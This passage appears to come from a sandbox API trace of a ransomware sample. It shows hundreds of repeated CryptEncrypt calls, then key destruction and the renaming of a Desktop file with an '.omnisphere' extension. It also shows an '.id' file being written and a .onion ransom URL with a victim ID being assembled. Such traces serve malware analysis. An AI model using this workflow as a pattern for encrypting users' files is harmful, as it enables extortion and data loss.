pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.483] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.484] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.485] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.486] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.488] CryptDestroyKey (hKey=0x16397a8) returned 1 [0164.488] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0164.488] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbe53, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.488] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.488] GetProcessHeap () returned 0x1600000 [0164.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x260) returned 0x1775808 [0164.489] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\pcy6.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\pcy6.mp3.omnisphere")) returned 1 [0164.489] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3.omnisphere.id" [0164.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\pcy6.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.490] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.491] CloseHandle (hObject=0x3bc) returned 1 [0164.491] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.491] CloseHandle (hObject=0x380) returned 1 [0164.492] SetEndOfFile (hFile=0x39c) returned 1 [0164.492] FlushFileBuffers (hFile=0x39c) returned 1 [0164.519] CloseHandle (hObject=0x39c) returned 1 [0164.520] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.520] GetProcessHeap () returned 0x1600000 [0164.520] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1775a70 [0164.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.520] GetProcessHeap () returned 0x1600000 [0164.520] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17338d8 [0164.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17338d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.520] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.520] GetProcessHeap () returned 0x1600000 [0164.520] 